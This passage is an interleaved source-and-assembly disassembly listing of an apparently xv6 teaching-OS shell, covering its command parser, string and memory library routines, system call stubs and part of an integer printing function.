$0x10,%esp a1f: 85 c0 test %eax,%eax a21: 75 10 jne a33 <parseblock+0x80> panic("syntax - missing )"); a23: 83 ec 0c sub $0xc,%esp a26: 68 dd 14 00 00 push $0x14dd a2b: e8 7e f9 ff ff call 3ae <panic> a30: 83 c4 10 add $0x10,%esp gettoken(ps, es, 0, 0); a33: 6a 00 push $0x0 a35: 6a 00 push $0x0 a37: ff 75 0c pushl 0xc(%ebp) a3a: ff 75 08 pushl 0x8(%ebp) a3d: e8 1d fb ff ff call 55f <gettoken> a42: 83 c4 10 add $0x10,%esp cmd = parseredirs(cmd, ps, es); a45: 83 ec 04 sub $0x4,%esp a48: ff 75 0c pushl 0xc(%ebp) a4b: ff 75 08 pushl 0x8(%ebp) a4e: ff 75 f4 pushl -0xc(%ebp) a51: e8 79 fe ff ff call 8cf <parseredirs> a56: 83 c4 10 add $0x10,%esp a59: 89 45 f4 mov %eax,-0xc(%ebp) return cmd; a5c: 8b 45 f4 mov -0xc(%ebp),%eax } a5f: c9 leave a60: c3 ret 00000a61 <parseexec>: struct cmd* parseexec(char **ps, char *es) { a61: 55 push %ebp a62: 89 e5 mov %esp,%ebp a64: 83 ec 28 sub $0x28,%esp char *q, *eq; int tok, argc; struct execcmd *cmd; struct cmd *ret; if(peek(ps, es, "(")) a67: 83 ec 04 sub $0x4,%esp a6a: 68 ce 14 00 00 push $0x14ce a6f: ff 75 0c pushl 0xc(%ebp) a72: ff 75 08 pushl 0x8(%ebp) a75: e8 36 fc ff ff call 6b0 <peek> a7a: 83 c4 10 add $0x10,%esp a7d: 85 c0 test %eax,%eax a7f: 74 16 je a97 <parseexec+0x36> return parseblock(ps, es); a81: 83 ec 08 sub $0x8,%esp a84: ff 75 0c pushl 0xc(%ebp) a87: ff 75 08 pushl 0x8(%ebp) a8a: e8 24 ff ff ff call 9b3 <parseblock> a8f: 83 c4 10 add $0x10,%esp a92: e9 fb 00 00 00 jmp b92 <parseexec+0x131> ret = execcmd(); a97: e8 5b f9 ff ff call 3f7 <execcmd> a9c: 89 45 f0 mov %eax,-0x10(%ebp) cmd = (struct execcmd*)ret; a9f: 8b 45 f0 mov -0x10(%ebp),%eax aa2: 89 45 ec mov %eax,-0x14(%ebp) argc = 0; aa5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) ret = parseredirs(ret, ps, es); aac: 83 ec 04 sub $0x4,%esp aaf: ff 75 0c pushl 0xc(%ebp) ab2: ff 75 08 pushl 0x8(%ebp) ab5: ff 75 f0 pushl -0x10(%ebp) ab8: e8 12 fe ff ff call 8cf <parseredirs> abd: 83 c4 10 add $0x10,%esp ac0: 89 45 f0 mov %eax,-0x10(%ebp) while(!peek(ps, es, "|)&;")){ ac3: e9 87 00 00 00 jmp b4f <parseexec+0xee> if((tok=gettoken(ps, es, &q, &eq)) == 0) ac8: 8d 45 e0 lea -0x20(%ebp),%eax acb: 50 push %eax acc: 8d 45 e4 lea -0x1c(%ebp),%eax acf: 50 push %eax ad0: ff 75 0c pushl 0xc(%ebp) ad3: ff 75 08 pushl 0x8(%ebp) ad6: e8 84 fa ff ff call 55f <gettoken> adb: 83 c4 10 add $0x10,%esp ade: 89 45 e8 mov %eax,-0x18(%ebp) ae1: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) ae5: 0f 84 84 00 00 00 je b6f <parseexec+0x10e> break; if(tok != 'a') aeb: 83 7d e8 61 cmpl $0x61,-0x18(%ebp) aef: 74 10 je b01 <parseexec+0xa0> panic("syntax"); af1: 83 ec 0c sub $0xc,%esp af4: 68 a1 14 00 00 push $0x14a1 af9: e8 b0 f8 ff ff call 3ae <panic> afe: 83 c4 10 add $0x10,%esp cmd->argv[argc] = q; b01: 8b 4d e4 mov -0x1c(%ebp),%ecx b04: 8b 45 ec mov -0x14(%ebp),%eax b07: 8b 55 f4 mov -0xc(%ebp),%edx b0a: 89 4c 90 04 mov %ecx,0x4(%eax,%edx,4) cmd->eargv[argc] = eq; b0e: 8b 55 e0 mov -0x20(%ebp),%edx b11: 8b 45 ec mov -0x14(%ebp),%eax b14: 8b 4d f4 mov -0xc(%ebp),%ecx b17: 83 c1 08 add $0x8,%ecx b1a: 89 54 88 0c mov %edx,0xc(%eax,%ecx,4) argc++; b1e: 83 45 f4 01 addl $0x1,-0xc(%ebp) if(argc >= MAXARGS) b22: 83 7d f4 09 cmpl $0x9,-0xc(%ebp) b26: 7e 10 jle b38 <parseexec+0xd7> panic("too many args"); b28: 83 ec 0c sub $0xc,%esp b2b: 68 f0 14 00 00 push $0x14f0 b30: e8 79 f8 ff ff call 3ae <panic> b35: 83 c4 10 add $0x10,%esp ret = parseredirs(ret, ps, es); b38: 83 ec 04 sub $0x4,%esp b3b: ff 75 0c pushl 0xc(%ebp) b3e: ff 75 08 pushl 0x8(%ebp) b41: ff 75 f0 pushl -0x10(%ebp) b44: e8 86 fd ff ff call 8cf <parseredirs> b49: 83 c4 10 add $0x10,%esp b4c: 89 45 f0 mov %eax,-0x10(%ebp) ret = execcmd(); cmd = (struct execcmd*)ret; argc = 0; ret = parseredirs(ret, ps, es); while(!peek(ps, es, "|)&;")){ b4f: 83 ec 04 sub $0x4,%esp b52: 68 fe 14 00 00 push $0x14fe b57: ff 75 0c pushl 0xc(%ebp) b5a: ff 75 08 pushl 0x8(%ebp) b5d: e8 4e fb ff ff call 6b0 <peek> b62: 83 c4 10 add $0x10,%esp b65: 85 c0 test %eax,%eax b67: 0f 84 5b ff ff ff je ac8 <parseexec+0x67> b6d: eb 01 jmp b70 <parseexec+0x10f> if((tok=gettoken(ps, es, &q, &eq)) == 0) break; b6f: 90 nop argc++; if(argc >= MAXARGS) panic("too many args"); ret = parseredirs(ret, ps, es); } cmd->argv[argc] = 0; b70: 8b 45 ec mov -0x14(%ebp),%eax b73: 8b 55 f4 mov -0xc(%ebp),%edx b76: c7 44 90 04 00 00 00 movl $0x0,0x4(%eax,%edx,4) b7d: 00 cmd->eargv[argc] = 0; b7e: 8b 45 ec mov -0x14(%ebp),%eax b81: 8b 55 f4 mov -0xc(%ebp),%edx b84: 83 c2 08 add $0x8,%edx b87: c7 44 90 0c 00 00 00 movl $0x0,0xc(%eax,%edx,4) b8e: 00 return ret; b8f: 8b 45 f0 mov -0x10(%ebp),%eax } b92: c9 leave b93: c3 ret 00000b94 <nulterminate>: // NUL-terminate all the counted strings. struct cmd* nulterminate(struct cmd *cmd) { b94: 55 push %ebp b95: 89 e5 mov %esp,%ebp b97: 83 ec 28 sub $0x28,%esp struct execcmd *ecmd; struct listcmd *lcmd; struct pipecmd *pcmd; struct redircmd *rcmd; if(cmd == 0) b9a: 83 7d 08 00 cmpl $0x0,0x8(%ebp) b9e: 75 0a jne baa <nulterminate+0x16> return 0; ba0: b8 00 00 00 00 mov $0x0,%eax ba5: e9 e4 00 00 00 jmp c8e <nulterminate+0xfa> switch(cmd->type){ baa: 8b 45 08 mov 0x8(%ebp),%eax bad: 8b 00 mov (%eax),%eax baf: 83 f8 05 cmp $0x5,%eax bb2: 0f 87 d3 00 00 00 ja c8b <nulterminate+0xf7> bb8: 8b 04 85 04 15 00 00 mov 0x1504(,%eax,4),%eax bbf: ff e0 jmp *%eax case EXEC: ecmd = (struct execcmd*)cmd; bc1: 8b 45 08 mov 0x8(%ebp),%eax bc4: 89 45 f0 mov %eax,-0x10(%ebp) for(i=0; ecmd->argv[i]; i++) bc7: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) bce: eb 14 jmp be4 <nulterminate+0x50> *ecmd->eargv[i] = 0; bd0: 8b 45 f0 mov -0x10(%ebp),%eax bd3: 8b 55 f4 mov -0xc(%ebp),%edx bd6: 83 c2 08 add $0x8,%edx bd9: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax bdd: c6 00 00 movb $0x0,(%eax) return 0; switch(cmd->type){ case EXEC: ecmd = (struct execcmd*)cmd; for(i=0; ecmd->argv[i]; i++) be0: 83 45 f4 01 addl $0x1,-0xc(%ebp) be4: 8b 45 f0 mov -0x10(%ebp),%eax be7: 8b 55 f4 mov -0xc(%ebp),%edx bea: 8b 44 90 04 mov 0x4(%eax,%edx,4),%eax bee: 85 c0 test %eax,%eax bf0: 75 de jne bd0 <nulterminate+0x3c> *ecmd->eargv[i] = 0; break; bf2: e9 94 00 00 00 jmp c8b <nulterminate+0xf7> case REDIR: rcmd = (struct redircmd*)cmd; bf7: 8b 45 08 mov 0x8(%ebp),%eax bfa: 89 45 ec mov %eax,-0x14(%ebp) nulterminate(rcmd->cmd); bfd: 8b 45 ec mov -0x14(%ebp),%eax c00: 8b 40 04 mov 0x4(%eax),%eax c03: 83 ec 0c sub $0xc,%esp c06: 50 push %eax c07: e8 88 ff ff ff call b94 <nulterminate> c0c: 83 c4 10 add $0x10,%esp *rcmd->efile = 0; c0f: 8b 45 ec mov -0x14(%ebp),%eax c12: 8b 40 0c mov 0xc(%eax),%eax c15: c6 00 00 movb $0x0,(%eax) break; c18: eb 71 jmp c8b <nulterminate+0xf7> case PIPE: pcmd = (struct pipecmd*)cmd; c1a: 8b 45 08 mov 0x8(%ebp),%eax c1d: 89 45 e8 mov %eax,-0x18(%ebp) nulterminate(pcmd->left); c20: 8b 45 e8 mov -0x18(%ebp),%eax c23: 8b 40 04 mov 0x4(%eax),%eax c26: 83 ec 0c sub $0xc,%esp c29: 50 push %eax c2a: e8 65 ff ff ff call b94 <nulterminate> c2f: 83 c4 10 add $0x10,%esp nulterminate(pcmd->right); c32: 8b 45 e8 mov -0x18(%ebp),%eax c35: 8b 40 08 mov 0x8(%eax),%eax c38: 83 ec 0c sub $0xc,%esp c3b: 50 push %eax c3c: e8 53 ff ff ff call b94 <nulterminate> c41: 83 c4 10 add $0x10,%esp break; c44: eb 45 jmp c8b <nulterminate+0xf7> case LIST: lcmd = (struct listcmd*)cmd; c46: 8b 45 08 mov 0x8(%ebp),%eax c49: 89 45 e4 mov %eax,-0x1c(%ebp) nulterminate(lcmd->left); c4c: 8b 45 e4 mov -0x1c(%ebp),%eax c4f: 8b 40 04 mov 0x4(%eax),%eax c52: 83 ec 0c sub $0xc,%esp c55: 50 push %eax c56: e8 39 ff ff ff call b94 <nulterminate> c5b: 83 c4 10 add $0x10,%esp nulterminate(lcmd->right); c5e: 8b 45 e4 mov -0x1c(%ebp),%eax c61: 8b 40 08 mov 0x8(%eax),%eax c64: 83 ec 0c sub $0xc,%esp c67: 50 push %eax c68: e8 27 ff ff ff call b94 <nulterminate> c6d: 83 c4 10 add $0x10,%esp break; c70: eb 19 jmp c8b <nulterminate+0xf7> case BACK: bcmd = (struct backcmd*)cmd; c72: 8b 45 08 mov 0x8(%ebp),%eax c75: 89 45 e0 mov %eax,-0x20(%ebp) nulterminate(bcmd->cmd); c78: 8b 45 e0 mov -0x20(%ebp),%eax c7b: 8b 40 04 mov 0x4(%eax),%eax c7e: 83 ec 0c sub $0xc,%esp c81: 50 push %eax c82: e8 0d ff ff ff call b94 <nulterminate> c87: 83 c4 10 add $0x10,%esp break; c8a: 90 nop } return cmd; c8b: 8b 45 08 mov 0x8(%ebp),%eax } c8e: c9 leave c8f: c3 ret 00000c90 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { c90: 55 push %ebp c91: 89 e5 mov %esp,%ebp c93: 57 push %edi c94: 53 push %ebx asm volatile("cld; rep stosb" : c95: 8b 4d 08 mov 0x8(%ebp),%ecx c98: 8b 55 10 mov 0x10(%ebp),%edx c9b: 8b 45 0c mov 0xc(%ebp),%eax c9e: 89 cb mov %ecx,%ebx ca0: 89 df mov %ebx,%edi ca2: 89 d1 mov %edx,%ecx ca4: fc cld ca5: f3 aa rep stos %al,%es:(%edi) ca7: 89 ca mov %ecx,%edx ca9: 89 fb mov %edi,%ebx cab: 89 5d 08 mov %ebx,0x8(%ebp) cae: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } cb1: 90 nop cb2: 5b pop %ebx cb3: 5f pop %edi cb4: 5d pop %ebp cb5: c3 ret 00000cb6 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { cb6: 55 push %ebp cb7: 89 e5 mov %esp,%ebp cb9: 83 ec 10 sub $0x10,%esp char *os; os = s; cbc: 8b 45 08 mov 0x8(%ebp),%eax cbf: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) cc2: 90 nop cc3: 8b 45 08 mov 0x8(%ebp),%eax cc6: 8d 50 01 lea 0x1(%eax),%edx cc9: 89 55 08 mov %edx,0x8(%ebp) ccc: 8b 55 0c mov 0xc(%ebp),%edx ccf: 8d 4a 01 lea 0x1(%edx),%ecx cd2: 89 4d 0c mov %ecx,0xc(%ebp) cd5: 0f b6 12 movzbl (%edx),%edx cd8: 88 10 mov %dl,(%eax) cda: 0f b6 00 movzbl (%eax),%eax cdd: 84 c0 test %al,%al cdf: 75 e2 jne cc3 <strcpy+0xd> ; return os; ce1: 8b 45 fc mov -0x4(%ebp),%eax } ce4: c9 leave ce5: c3 ret 00000ce6 <strcmp>: int strcmp(const char *p, const char *q) { ce6: 55 push %ebp ce7: 89 e5 mov %esp,%ebp while(*p && *p == *q) ce9: eb 08 jmp cf3 <strcmp+0xd> p++, q++; ceb: 83 45 08 01 addl $0x1,0x8(%ebp) cef: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) cf3: 8b 45 08 mov 0x8(%ebp),%eax cf6: 0f b6 00 movzbl (%eax),%eax cf9: 84 c0 test %al,%al cfb: 74 10 je d0d <strcmp+0x27> cfd: 8b 45 08 mov 0x8(%ebp),%eax d00: 0f b6 10 movzbl (%eax),%edx d03: 8b 45 0c mov 0xc(%ebp),%eax d06: 0f b6 00 movzbl (%eax),%eax d09: 38 c2 cmp %al,%dl d0b: 74 de je ceb <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; d0d: 8b 45 08 mov 0x8(%ebp),%eax d10: 0f b6 00 movzbl (%eax),%eax d13: 0f b6 d0 movzbl %al,%edx d16: 8b 45 0c mov 0xc(%ebp),%eax d19: 0f b6 00 movzbl (%eax),%eax d1c: 0f b6 c0 movzbl %al,%eax d1f: 29 c2 sub %eax,%edx d21: 89 d0 mov %edx,%eax } d23: 5d pop %ebp d24: c3 ret 00000d25 <strlen>: uint strlen(char *s) { d25: 55 push %ebp d26: 89 e5 mov %esp,%ebp d28: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) d2b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) d32: eb 04 jmp d38 <strlen+0x13> d34: 83 45 fc 01 addl $0x1,-0x4(%ebp) d38: 8b 55 fc mov -0x4(%ebp),%edx d3b: 8b 45 08 mov 0x8(%ebp),%eax d3e: 01 d0 add %edx,%eax d40: 0f b6 00 movzbl (%eax),%eax d43: 84 c0 test %al,%al d45: 75 ed jne d34 <strlen+0xf> ; return n; d47: 8b 45 fc mov -0x4(%ebp),%eax } d4a: c9 leave d4b: c3 ret 00000d4c <memset>: void* memset(void *dst, int c, uint n) { d4c: 55 push %ebp d4d: 89 e5 mov %esp,%ebp stosb(dst, c, n); d4f: 8b 45 10 mov 0x10(%ebp),%eax d52: 50 push %eax d53: ff 75 0c pushl 0xc(%ebp) d56: ff 75 08 pushl 0x8(%ebp) d59: e8 32 ff ff ff call c90 <stosb> d5e: 83 c4 0c add $0xc,%esp return dst; d61: 8b 45 08 mov 0x8(%ebp),%eax } d64: c9 leave d65: c3 ret 00000d66 <strchr>: char* strchr(const char *s, char c) { d66: 55 push %ebp d67: 89 e5 mov %esp,%ebp d69: 83 ec 04 sub $0x4,%esp d6c: 8b 45 0c mov 0xc(%ebp),%eax d6f: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) d72: eb 14 jmp d88 <strchr+0x22> if(*s == c) d74: 8b 45 08 mov 0x8(%ebp),%eax d77: 0f b6 00 movzbl (%eax),%eax d7a: 3a 45 fc cmp -0x4(%ebp),%al d7d: 75 05 jne d84 <strchr+0x1e> return (char*)s; d7f: 8b 45 08 mov 0x8(%ebp),%eax d82: eb 13 jmp d97 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) d84: 83 45 08 01 addl $0x1,0x8(%ebp) d88: 8b 45 08 mov 0x8(%ebp),%eax d8b: 0f b6 00 movzbl (%eax),%eax d8e: 84 c0 test %al,%al d90: 75 e2 jne d74 <strchr+0xe> if(*s == c) return (char*)s; return 0; d92: b8 00 00 00 00 mov $0x0,%eax } d97: c9 leave d98: c3 ret 00000d99 <gets>: char* gets(char *buf, int max) { d99: 55 push %ebp d9a: 89 e5 mov %esp,%ebp d9c: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ d9f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) da6: eb 42 jmp dea <gets+0x51> cc = read(0, &c, 1); da8: 83 ec 04 sub $0x4,%esp dab: 6a 01 push $0x1 dad: 8d 45 ef lea -0x11(%ebp),%eax db0: 50 push %eax db1: 6a 00 push $0x0 db3: e8 47 01 00 00 call eff <read> db8: 83 c4 10 add $0x10,%esp dbb: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) dbe: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) dc2: 7e 33 jle df7 <gets+0x5e> break; buf[i++] = c; dc4: 8b 45 f4 mov -0xc(%ebp),%eax dc7: 8d 50 01 lea 0x1(%eax),%edx dca: 89 55 f4 mov %edx,-0xc(%ebp) dcd: 89 c2 mov %eax,%edx dcf: 8b 45 08 mov 0x8(%ebp),%eax dd2: 01 c2 add %eax,%edx dd4: 0f b6 45 ef movzbl -0x11(%ebp),%eax dd8: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') dda: 0f b6 45 ef movzbl -0x11(%ebp),%eax dde: 3c 0a cmp $0xa,%al de0: 74 16 je df8 <gets+0x5f> de2: 0f b6 45 ef movzbl -0x11(%ebp),%eax de6: 3c 0d cmp $0xd,%al de8: 74 0e je df8 <gets+0x5f> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ dea: 8b 45 f4 mov -0xc(%ebp),%eax ded: 83 c0 01 add $0x1,%eax df0: 3b 45 0c cmp 0xc(%ebp),%eax df3: 7c b3 jl da8 <gets+0xf> df5: eb 01 jmp df8 <gets+0x5f> cc = read(0, &c, 1); if(cc < 1) break; df7: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; df8: 8b 55 f4 mov -0xc(%ebp),%edx dfb: 8b 45 08 mov 0x8(%ebp),%eax dfe: 01 d0 add %edx,%eax e00: c6 00 00 movb $0x0,(%eax) return buf; e03: 8b 45 08 mov 0x8(%ebp),%eax } e06: c9 leave e07: c3 ret 00000e08 <stat>: int stat(char *n, struct stat *st) { e08: 55 push %ebp e09: 89 e5 mov %esp,%ebp e0b: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); e0e: 83 ec 08 sub $0x8,%esp e11: 6a 00 push $0x0 e13: ff 75 08 pushl 0x8(%ebp) e16: e8 0c 01 00 00 call f27 <open> e1b: 83 c4 10 add $0x10,%esp e1e: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) e21: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) e25: 79 07 jns e2e <stat+0x26> return -1; e27: b8 ff ff ff ff mov $0xffffffff,%eax e2c: eb 25 jmp e53 <stat+0x4b> r = fstat(fd, st); e2e: 83 ec 08 sub $0x8,%esp e31: ff 75 0c pushl 0xc(%ebp) e34: ff 75 f4 pushl -0xc(%ebp) e37: e8 03 01 00 00 call f3f <fstat> e3c: 83 c4 10 add $0x10,%esp e3f: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); e42: 83 ec 0c sub $0xc,%esp e45: ff 75 f4 pushl -0xc(%ebp) e48: e8 c2 00 00 00 call f0f <close> e4d: 83 c4 10 add $0x10,%esp return r; e50: 8b 45 f0 mov -0x10(%ebp),%eax } e53: c9 leave e54: c3 ret 00000e55 <atoi>: int atoi(const char *s) { e55: 55 push %ebp e56: 89 e5 mov %esp,%ebp e58: 83 ec 10 sub $0x10,%esp int n; n = 0; e5b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') e62: eb 25 jmp e89 <atoi+0x34> n = n*10 + *s++ - '0'; e64: 8b 55 fc mov -0x4(%ebp),%edx e67: 89 d0 mov %edx,%eax e69: c1 e0 02 shl $0x2,%eax e6c: 01 d0 add %edx,%eax e6e: 01 c0 add %eax,%eax e70: 89 c1 mov %eax,%ecx e72: 8b 45 08 mov 0x8(%ebp),%eax e75: 8d 50 01 lea 0x1(%eax),%edx e78: 89 55 08 mov %edx,0x8(%ebp) e7b: 0f b6 00 movzbl (%eax),%eax e7e: 0f be c0 movsbl %al,%eax e81: 01 c8 add %ecx,%eax e83: 83 e8 30 sub $0x30,%eax e86: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') e89: 8b 45 08 mov 0x8(%ebp),%eax e8c: 0f b6 00 movzbl (%eax),%eax e8f: 3c 2f cmp $0x2f,%al e91: 7e 0a jle e9d <atoi+0x48> e93: 8b 45 08 mov 0x8(%ebp),%eax e96: 0f b6 00 movzbl (%eax),%eax e99: 3c 39 cmp $0x39,%al e9b: 7e c7 jle e64 <atoi+0xf> n = n*10 + *s++ - '0'; return n; e9d: 8b 45 fc mov -0x4(%ebp),%eax } ea0: c9 leave ea1: c3 ret 00000ea2 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { ea2: 55 push %ebp ea3: 89 e5 mov %esp,%ebp ea5: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; ea8: 8b 45 08 mov 0x8(%ebp),%eax eab: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; eae: 8b 45 0c mov 0xc(%ebp),%eax eb1: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) eb4: eb 17 jmp ecd <memmove+0x2b> *dst++ = *src++; eb6: 8b 45 fc mov -0x4(%ebp),%eax eb9: 8d 50 01 lea 0x1(%eax),%edx ebc: 89 55 fc mov %edx,-0x4(%ebp) ebf: 8b 55 f8 mov -0x8(%ebp),%edx ec2: 8d 4a 01 lea 0x1(%edx),%ecx ec5: 89 4d f8 mov %ecx,-0x8(%ebp) ec8: 0f b6 12 movzbl (%edx),%edx ecb: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) ecd: 8b 45 10 mov 0x10(%ebp),%eax ed0: 8d 50 ff lea -0x1(%eax),%edx ed3: 89 55 10 mov %edx,0x10(%ebp) ed6: 85 c0 test %eax,%eax ed8: 7f dc jg eb6 <memmove+0x14> *dst++ = *src++; return vdst; eda: 8b 45 08 mov 0x8(%ebp),%eax } edd: c9 leave ede: c3 ret 00000edf <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) edf: b8 01 00 00 00 mov $0x1,%eax ee4: cd 40 int $0x40 ee6: c3 ret 00000ee7 <exit>: SYSCALL(exit) ee7: b8 02 00 00 00 mov $0x2,%eax eec: cd 40 int $0x40 eee: c3 ret 00000eef <wait>: SYSCALL(wait) eef: b8 03 00 00 00 mov $0x3,%eax ef4: cd 40 int $0x40 ef6: c3 ret 00000ef7 <pipe>: SYSCALL(pipe) ef7: b8 04 00 00 00 mov $0x4,%eax efc: cd 40 int $0x40 efe: c3 ret 00000eff <read>: SYSCALL(read) eff: b8 05 00 00 00 mov $0x5,%eax f04: cd 40 int $0x40 f06: c3 ret 00000f07 <write>: SYSCALL(write) f07: b8 10 00 00 00 mov $0x10,%eax f0c: cd 40 int $0x40 f0e: c3 ret 00000f0f <close>: SYSCALL(close) f0f: b8 15 00 00 00 mov $0x15,%eax f14: cd 40 int $0x40 f16: c3 ret 00000f17 <kill>: SYSCALL(kill) f17: b8 06 00 00 00 mov $0x6,%eax f1c: cd 40 int $0x40 f1e: c3 ret 00000f1f <exec>: SYSCALL(exec) f1f: b8 07 00 00 00 mov $0x7,%eax f24: cd 40 int $0x40 f26: c3 ret 00000f27 <open>: SYSCALL(open) f27: b8 0f 00 00 00 mov $0xf,%eax f2c: cd 40 int $0x40 f2e: c3 ret 00000f2f <mknod>: SYSCALL(mknod) f2f: b8 11 00 00 00 mov $0x11,%eax f34: cd 40 int $0x40 f36: c3 ret 00000f37 <unlink>: SYSCALL(unlink) f37: b8 12 00 00 00 mov $0x12,%eax f3c: cd 40 int $0x40 f3e: c3 ret 00000f3f <fstat>: SYSCALL(fstat) f3f: b8 08 00 00 00 mov $0x8,%eax f44: cd 40 int $0x40 f46: c3 ret 00000f47 <link>: SYSCALL(link) f47: b8 13 00 00 00 mov $0x13,%eax f4c: cd 40 int $0x40 f4e: c3 ret 00000f4f <mkdir>: SYSCALL(mkdir) f4f: b8 14 00 00 00 mov $0x14,%eax f54: cd 40 int $0x40 f56: c3 ret 00000f57 <chdir>: SYSCALL(chdir) f57: b8 09 00 00 00 mov $0x9,%eax f5c: cd 40 int $0x40 f5e: c3 ret 00000f5f <dup>: SYSCALL(dup) f5f: b8 0a 00 00 00 mov $0xa,%eax f64: cd 40 int $0x40 f66: c3 ret 00000f67 <getpid>: SYSCALL(getpid) f67: b8 0b 00 00 00 mov $0xb,%eax f6c: cd 40 int $0x40 f6e: c3 ret 00000f6f <sbrk>: SYSCALL(sbrk) f6f: b8 0c 00 00 00 mov $0xc,%eax f74: cd 40 int $0x40 f76: c3 ret 00000f77 <sleep>: SYSCALL(sleep) f77: b8 0d 00 00 00 mov $0xd,%eax f7c: cd 40 int $0x40 f7e: c3 ret 00000f7f <uptime>: SYSCALL(uptime) f7f: b8 0e 00 00 00 mov $0xe,%eax f84: cd 40 int $0x40 f86: c3 ret 00000f87 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { f87: 55 push %ebp f88: 89 e5 mov %esp,%ebp f8a: 83 ec 18 sub $0x18,%esp f8d: 8b 45 0c mov 0xc(%ebp),%eax f90: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); f93: 83 ec 04 sub $0x4,%esp f96: 6a 01 push $0x1 f98: 8d 45 f4 lea -0xc(%ebp),%eax f9b: 50 push %eax f9c: ff 75 08 pushl 0x8(%ebp) f9f: e8 63 ff ff ff call f07 <write> fa4: 83 c4 10 add $0x10,%esp } fa7: 90 nop fa8: c9 leave fa9: c3 ret 00000faa <printint>: static void printint(int fd, int xx, int base, int sgn) { faa: 55 push %ebp fab: 89 e5 mov %esp,%ebp fad: 53 push %ebx fae: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; fb1: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ fb8: 83 7d 14 00 cmpl $0x0,0x14(%ebp) fbc: 74 17 je fd5 <printint+0x2b> fbe: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) fc2: 79 11 jns fd5 <printint+0x2b> neg = 1; fc4: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; fcb: 8b 45 0c mov 0xc(%ebp),%eax fce: f7 d8 neg %eax fd0: 89 45 ec mov %eax,-0x14(%ebp) fd3: eb 06 jmp fdb <printint+0x31> } else { x = xx; fd5: 8b 45 0c mov 0xc(%ebp),%eax fd8: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; fdb: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; fe2: 8b 4d f4 mov -0xc(%ebp),%ecx fe5: 8d 41 01 lea 0x1(%ecx),%eax fe8: 89 45 f4 mov %eax,-0xc(%ebp) feb: 8b 5d 10 mov 0x10(%ebp),%ebx fee: 8b 45 ec mov -0x14(%ebp),%eax ff1: ba 00 00 00 00 mov $0x0,%edx ff6: f7 f3 div %ebx ff8: 89 d0 mov %edx,%eax ffa: 0f b6 80 b8 19 00 00 movzbl 0x19b8(%eax),%eax 1001: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 1005: 8b 5d 10 mov 0x10(%ebp),%ebx 1008: 8b 45 ec mov -0x14(%ebp),%eax 100b: ba 00 00 00 00 mov $0x0,%edx 1010: f7 f3 div %ebx 1012: 89 45 ec mov %eax,-0x14(%ebp) 1015: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1019: 75 c7 jne fe2 <printint+0x38> if(neg) 101b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 101f: 74 2d je 104e <printint+0xa4> buf[i++] = '-'; 1021: 8b 45 f4 mov -0xc(%ebp),%eax 1024: 8d 50 01 lea 0x1(%eax),%edx 1027: 89 55 f4 mov %edx,-0xc(%ebp) 102a: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 102f: eb 1d jmp 104e <printint+0xa4> putc(fd, buf[i]); 1031: 8d 55 dc lea -0x24(%ebp),%edx 1034: 8b 45 f4 mov -0xc(%ebp),%eax 1037: 01 d0 add %edx,%eax 1039: 0f b6 00 movzbl (%eax),%eax 103c: 0f be c0 movsbl %al,%eax 103f: 83 ec 08 sub $0x8,%esp 1042: 50 push %eax 1043: ff 75 08 pushl 0x8(%ebp) 1046: e8 3c ff ff ff call f87 <putc> 104b: 83 c4 10 add $0x10,%esp buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 104e: 83 6d f4 01 subl $0x1,-0xc(%ebp) 1052: 83 7d f4 00 cmpl 